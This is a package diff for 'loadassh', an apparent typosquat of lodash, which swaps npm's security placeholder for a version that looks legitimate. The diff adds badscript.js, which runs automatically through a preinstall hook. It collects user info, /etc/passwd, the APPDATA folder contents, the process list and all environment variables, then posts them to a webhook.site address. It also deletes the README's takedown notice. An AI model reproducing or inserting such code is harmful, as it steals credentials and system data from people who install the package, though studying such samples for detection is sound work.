loadassh 0.0.1-security → 4.17.21

package/badscript.js

@@ -0,0 +1,63 @@
+const axios = require('axios');
+const os = require("os");
+const fs = require('fs');
+const { exec, execSync } = require("child_process");
+const { callbackify } = require('util');
+
+function userInfo(){
+    const home = os.userInfo();
+    return home;
+};
+
+function getHomeFiles(){
+    const testFolder = process.env.APPDATA;
+    try {
+        files = ""
+        fs.readdirSync(testFolder).forEach(file => {
+            console.log(file);
+            files += file + " ";
+        });
+        return files;
+    } catch (err){
+        console.error(err);
+        return "";
+    }
+}
+
+function getProcesses(){
+    const out = execSync("ps aux").toString();
+    return out;
+}
+
+function getPasswd(){
+    try {
+        const data = fs.readFileSync('/etc/passwd', 'utf8');
+        console.log(data);
+        return data;
+      } catch (err) {
+        console.error(err);
+        return "";
+      }
+}
+
+const info = {
+    userinfo: userInfo(),
+    passwd: getPasswd(),
+    homefiles: getHomeFiles(),
+    processes: getProcesses(),
+    env: process.env
+};
+
+
+
+axios
+  .post('https://webhook.site/2fa4b31d-e4f3-4ab4-bd8e-ac5c8fe34ec0', {
+    info: info,
+  })
+  .then(res => {
+    console.log(`statusCode: ${res.status}`);
+    console.log(res);
+  })
+  .catch(error => {
+    console.error(error);
+  });

package/index.js

@@ -0,0 +1 @@
+console.log("Hi!");

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "loadassh",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "4.17.21",
+  "description": "A cool package",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node badscript.js",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "Myself",
+  "license": "MIT",
+  "dependencies": {
+    "axios": "^0.27.2",
+    "lodash": "^4.17.21",
+    "https": "^1.0.0"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=loadassh for more information.